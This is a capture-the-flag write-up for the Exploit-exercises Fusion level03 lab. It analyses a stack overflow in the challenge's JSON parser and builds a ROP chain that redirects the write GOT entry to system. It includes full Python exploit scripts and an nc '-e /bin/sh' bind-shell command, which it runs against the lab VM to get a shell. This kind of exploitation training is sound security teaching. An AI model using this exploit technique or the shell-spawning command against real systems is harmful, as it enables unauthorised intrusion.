[Exploit-exercises] Fusion level03
This level of exploit-exercises was a wee bit more difficult than the previous one, half of the exercise was to understand how the program works and where we can exploit it.
The source code of the exercise can be found at exploit-exercises.com.
The “About” section of the challenge is:
This level introduces partial hash collisions (hashcash) and more stack corruption
Let’s starts by looking at the source code.
Static analysis
Here is a summary of what each function does:
-
generate_token()
Generate a token. How the token is generated doesn’t really matter.
-
send_token()
Send the token that we’ll have to send back.
-
read_request()
Read from stdin (which is connected to the socket via dup2) while EOF.
It also closes stdin, stdout and stderr. -
validate_request()
Verify if the received data begins with the token.
Then computes the HMAC-SHA1 of the received data using the token as the key.
Here something draws attention. It performs a bitwise OR between the first two bytes of the computed hash. If the result is different from 0, the program exits.
We now know that we will have to send data such as the HMAC-SHA1 starts with ‘0000’. -
parse_request()
Create a json object from the received data.
-
handle_request()
Initialize two buffers (our buffer overflow is certainly here) and one array of buffers.
Has a nested function that iterates through each key-value pairs of the json object.
“tags” is the first key, and it value(s) should be in an array.
Then “title”, calls decode_string() with its value and the local buffer “title”.
Same for “contents”.
Ends with “serverip” which is directly put in a global variable. -
decode_string(const char *src, unsigned char *dest, int *dest_len)
Called in handle_request().
Gets value of a json key, a buffer and len(buffer).
It goes through the buffer and checks for certain sequences of characters (\t, \b…).
But, when it checks for unicode “\u”, the “dest” variable is incremented two times. However, the while loop condition is “while(*src && dest != end)”. If “\u” is at len(buffer)-1, “dest” will be higher than “end” (wich is equal to *buffer + sizeof(buffer)). Thus, the buffer overflow is here and can be generated with the “title” or “contents” json values. -
post_blog_article()
Send a POST request to “serverip”. We don’t have to care much about this function since our buffer overflow will be triggered when handle_request() will return.
Now that we have an understanding of the program, we can construct our exploitation script.
Construct the right hash
We have to pass the validate_request function first. To do so, we have to send data that will have a HMAC-SHA1 hash starting with “0000”. The beginning of our exploitation script will be:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python2
import hmac
from hashlib import sha1
from pwn import *
import json, random, string
#Connection to the host
c = remote('192.168.56.101',20003)
#Get token
token = c.recvline().split('"')[1]
log.info("Token: " + token)
while(True):
title = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(100)])
#"tags" value is an array
msg = json.dumps({"tags":("A"), "title":title, "contents":contents,
"serverip":"192.168.56.1:80"}, ensure_ascii=False)
#'\n' between token and json for json_tokener_parse function to work (inside parse_request())
payload = token + "\n" + msg
hashed = hmac.new(bytearray(token), bytearray(payload), sha1)
if(hashed.hexdigest().startswith('0000')):
log.info("Payload: " + payload)
break
c.send(payload)
log.info("Payload sent!")
Here we generate radom characters and digits in the “title” json value to generate a different hash each iteration of the while loop, and we break when the hash starts with “0000”.
Now we can overwrite EIP.
Overwriting EIP
As we say, to create the buffer overflow the last character of “title” or “contents” json values must be “\u”. We will use the “title” json value. The “title” buffer in handle_request is 129 bytes long because we start at 0 (title[128], so from 0 to 128). Thus, if we place “\u” at the position 128 in the “title” json value, the “dest” variable will be incremented from title[127] to title[129] and the while loop will continue (because “end” points on title[128]).
We also have to find how many bytes there is between the title[128] buffer and EIP. Since I hardly understand why title[128] is not just behind EBP and EIP on the stack, we will use a pattern to overwrite EIP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python2
import hmac
from hashlib import sha1
from pwn import *
import json, random, string
#Connection to the host
c = remote('192.168.56.101',20003)
#Get token
token = c.recvline().split('"')[1]
log.info("Token: " + token)
#Pattern
pattern = cyclic(100, alphabet=string.ascii_uppercase)
while(True):
title = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(100)])
#"tags" value is an array
#'\\u1111' because of the 'src += 4;'
msg = json.dumps({"tags":("A"), "title":title+'A'*27+'\\u1111'+pattern, "contents":contents,
"serverip":"192.168.56.1:80"}, ensure_ascii=False)
#'\n' between token and json for json_tokener_parse function to work (inside parse_request())
payload = token + "\n" + msg
hashed = hmac.new(bytearray(token), bytearray(payload), sha1)
if(hashed.hexdigest().startswith('0000')):
log.info("Payload: " + payload)
break
c.send(payload)
log.info("Payload sent!")
log.info("Pattern: " + pattern)
* And when started, we get:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2042]
0x41414941 in ?? ()
(gdb)
0x41414941 is AAIA (because endianess). EIP is thus overwritten at the offset 31 of the pattern.
ROP time
Since the stack isn’t executable, we have to go for a ROP chain. We could have constructed a ret2libc attack exactly like with level02 (using the direct address of system in the libc). The problem with this is that it requires to know where is mapped the libc (with cat /proc/PID/maps for example). Thus, not very effective.
Instead, we’re gonna construct a ROP chain with gadgets from the binary. After retrieving the binary on my host machine, a quick ROPgadget on it reveals some useful gadgets. The plan is to write the GOT to make an entry point on system, so that when the function which belongs to this entry will be called, it will in fact execute the system function. Since the distance between two libc function is the same, we will have to add (or substract) this distance to the GOT entry of the legitimate function.
That will make our exploit working even with ASLR (when the libc is mapped to a different location at each binary execution).
More information about the GOT in this really helpful and clear article.
So first, we have to choose a GOT entry:
└───▶ readelf --relocs level03
Section de réadressage '.rel.dyn' à l'adresse de décalage 0x9e4 contient 4 entrées:
Décalage Info Type Val.-sym Noms-symboles
0804bcc0 00000e06 R_386_GLOB_DAT 00000000 __gmon_start__
0804bdc0 00003e05 R_386_COPY 0804bdc0 stderr@GLIBC_2.0
0804bdc4 00004005 R_386_COPY 0804bdc4 stdin@GLIBC_2.0
0804bde0 00003b05 R_386_COPY 0804bde0 stdout@GLIBC_2.0
Section de réadressage '.rel.plt' à l'adresse de décalage 0xa04 contient 56 entrées:
Décalage Info Type Val.-sym Noms-symboles
0804bcd0 00000107 R_386_JUMP_SLOT 00000000 __errno_location@GLIBC_2.0
0804bcd4 00000207 R_386_JUMP_SLOT 00000000 srand@GLIBC_2.0
0804bcd8 00000307 R_386_JUMP_SLOT 00000000 open@GLIBC_2.0
0804bcdc 00000407 R_386_JUMP_SLOT 00000000 connect@GLIBC_2.0
0804bce0 00000507 R_386_JUMP_SLOT 00000000 setgroups@GLIBC_2.0
0804bce4 00000607 R_386_JUMP_SLOT 00000000 getpid@GLIBC_2.0
0804bce8 00000707 R_386_JUMP_SLOT 00000000 strerror@GLIBC_2.0
0804bcec 00000807 R_386_JUMP_SLOT 00000000 daemon@GLIBC_2.0
0804bcf0 00000907 R_386_JUMP_SLOT 00000000 inet_ntoa@GLIBC_2.0
0804bcf4 00000a07 R_386_JUMP_SLOT 00000000 json_object_array_leng
0804bcf8 00000b07 R_386_JUMP_SLOT 00000000 err@GLIBC_2.0
0804bcfc 00000c07 R_386_JUMP_SLOT 00000000 __fprintf_chk@GLIBC_2.3.4
0804bd00 00000d07 R_386_JUMP_SLOT 00000000 signal@GLIBC_2.0
0804bd04 00000e07 R_386_JUMP_SLOT 00000000 __gmon_start__
0804bd08 00001007 R_386_JUMP_SLOT 00000000 realloc@GLIBC_2.0
0804bd0c 00001107 R_386_JUMP_SLOT 00000000 __printf_chk@GLIBC_2.3.4
0804bd10 00001207 R_386_JUMP_SLOT 00000000 strchr@GLIBC_2.0
0804bd14 00001307 R_386_JUMP_SLOT 00000000 calloc@GLIBC_2.0
0804bd18 00001407 R_386_JUMP_SLOT 00000000 inet_addr@GLIBC_2.0
0804bd1c 00001507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
0804bd20 00001607 R_386_JUMP_SLOT 00000000 HMAC@OPENSSL_1.0.0
0804bd24 00001707 R_386_JUMP_SLOT 00000000 listen@GLIBC_2.0
0804bd28 00001807 R_386_JUMP_SLOT 00000000 json_object_array_get_
0804bd2c 00001907 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804bd30 00001a07 R_386_JUMP_SLOT 00000000 wait@GLIBC_2.0
0804bd34 00001b07 R_386_JUMP_SLOT 00000000 json_object_get_string
0804bd38 00001c07 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804bd3c 00001d07 R_386_JUMP_SLOT 00000000 strtol@GLIBC_2.0
0804bd40 00001e07 R_386_JUMP_SLOT 00000000 setresuid@GLIBC_2.0
0804bd44 00001f07 R_386_JUMP_SLOT 00000000 __asprintf_chk@GLIBC_2.8
0804bd48 00002007 R_386_JUMP_SLOT 00000000 setresgid@GLIBC_2.0
0804bd4c 00002107 R_386_JUMP_SLOT 00000000 json_object_get_object
0804bd50 00002207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804bd54 00002307 R_386_JUMP_SLOT 00000000 accept@GLIBC_2.0
0804bd58 00002407 R_386_JUMP_SLOT 00000000 json_tokener_parse
0804bd5c 00002507 R_386_JUMP_SLOT 00000000 socket@GLIBC_2.0
0804bd60 00002607 R_386_JUMP_SLOT 00000000 dup2@GLIBC_2.0
0804bd64 00002707 R_386_JUMP_SLOT 00000000 memcpy@GLIBC_2.0
0804bd68 00002807 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804bd6c 00002907 R_386_JUMP_SLOT 00000000 getppid@GLIBC_2.0
0804bd70 00002a07 R_386_JUMP_SLOT 00000000 EVP_sha1@OPENSSL_1.0.0
0804bd74 00002b07 R_386_JUMP_SLOT 00000000 bind@GLIBC_2.0
0804bd78 00002c07 R_386_JUMP_SLOT 00000000 errx@GLIBC_2.0
0804bd7c 00002d07 R_386_JUMP_SLOT 00000000 close@GLIBC_2.0
0804bd80 00002e07 R_386_JUMP_SLOT 00000000 time@GLIBC_2.0
0804bd84 00002f07 R_386_JUMP_SLOT 00000000 setvbuf@GLIBC_2.0
0804bd88 00003007 R_386_JUMP_SLOT 00000000 malloc@GLIBC_2.0
0804bd8c 00003107 R_386_JUMP_SLOT 00000000 setrlimit@GLIBC_2.2
0804bd90 00003207 R_386_JUMP_SLOT 00000000 fork@GLIBC_2.0
0804bd94 00003307 R_386_JUMP_SLOT 00000000 setsockopt@GLIBC_2.0
0804bd98 00003407 R_386_JUMP_SLOT 00000000 rand@GLIBC_2.0
0804bd9c 00003507 R_386_JUMP_SLOT 00000000 __sprintf_chk@GLIBC_2.3.4
0804bda0 00003607 R_386_JUMP_SLOT 00000000 strncmp@GLIBC_2.0
0804bda4 00003707 R_386_JUMP_SLOT 00000000 __snprintf_chk@GLIBC_2.3.4
0804bda8 00003807 R_386_JUMP_SLOT 00000000 getpeername@GLIBC_2.0
0804bdac 00003907 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
I choose the write function. “0804bd1c” is the value that points to the address of write in the libc.
Next, we want write and system offset in the libc:
root@fusion:~# objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "system"
...
0003cb20 <__libc_system>:
...
root@fusion:~# objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "write"
...
000c12c0 <__write>:
...
The distance between write and system is 0x847a0. We can now start writing our ROP chain. We want [0x0804bd1c] = [0x0804bd1c] - 0x847a0. With the gadgets retrieved with ROPgadget I didn’t find any suitable substract operand so I converted 0x847a0 to negative which is 0xfff7b860 so that we now want 0x0804bd1c] = [0x0804bd1c] + 0xfff7b860.
A ROP chain is:
+ 0x08048bf0 # pop ebx, ret => we put the value of GOT[write] (0x0804bd1c) into ebp
+ 0xaaa9b858 # 0x0804bd1c - 0x5d5b04c4 => because of the add dword ptr [ebx + 0x5d5b04c4]
+ 0x08049b4f # pop eax ; add esp, 0x5c ; ret => we put 0xfff7b860 in eax (distance between write and system)
+ 0xfff7b860
+ 'A'*0x5c # because of add esp, 0x5c
+ 0x080493fe # add dword ptr [ebx + 0x5d5b04c4], eax ; ret => we write [0x0804bd1c] = [0x0804bd1c] - 0x847a0
+ 0x08048d40 # write PLT => then we call write@plt which will jump to the right GOT entry, and thus to system
+ 0x08048f80 # exit PLT => to properly exit, called when system returns
+ 0x0804d058 # [gContents] => argument for **system**
To find the address of exit and write in the PLT, this command has been used:
objdump -d /opt/fusion/bin/level03 | grep "<exit@plt>"
Also, to find where the data in gContents is stored:
(gdb) b system
Breakpoint 1 at 0xb7ce5b20: file ../sysdeps/posix/system.c, line 179.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/fusion/bin/level03
[New process 2527]
[New process 2531]
[Switching to process 2531]
Breakpoint 1, __libc_system (line=0x804d058 'A' <repeats 200 times>...)
at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
in ../sysdeps/posix/system.c
(gdb) p gContents
$1 = (unsigned char *) 0x804d058 'A' <repeats 200 times>...
We can now write every command we want in the gContents variable, so in the “contents” json value. We will start a listening shell with netcat:
/bin/nc.traditional -lp 1337 -e /bin/sh
The final exploit is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python2
import hmac
from hashlib import sha1
from pwn import *
import json, random, string
#Connection to the host
c = remote('192.168.56.101',20003)
#Get token
token = c.recvline().split('"')[1]
log.info("Token: " + token)
rop=""
rop += p32(0x08048bf0) # pop ebx, ret
rop += p32(0xaaa9b858) # 0x0804bd1c - 0x5d5b04c4
rop += p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret
rop += p32(0xfff7b860)
rop += 'A'*0x5c # because of add esp, 0x5c
rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret
rop += p32(0x08048d40) # write PLT
rop += p32(0x08048f80) # exit PLT => objdump -d /opt/fusion/bin/level03 | grep "<exit@plt>"
#rop += p32(0x0804bdf4) # gContents => objdump -t /opt/fusion/bin/level03
rop += p32(0x0804d058) # [gContents]
#In case gContents address change, we add a lot of /
contents = '/'*400 + 'bin/nc.traditional -lp 1337 -e /bin/sh'
#Generate a request that have the first 2 bytes equal 0.
while(True):
title = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(100)])
msg = json.dumps({"tags":("A"), "title":title+'A'*27+'\\u1111'+'A'*31 + rop, "contents":contents,
"serverip":"192.168.56.1:80"}, ensure_ascii=False)
payload = token + "\n" + msg
hashed = hmac.new(bytearray(token), bytearray(payload), sha1)
if(hashed.hexdigest().startswith('0000')):
log.info("Payload: " + payload)
break
c.send(payload)
log.info("Payload sent!")
*
Finally:
└───▶ nc 192.168.56.101 1337
id
uid=20003 gid=20003 groups=20003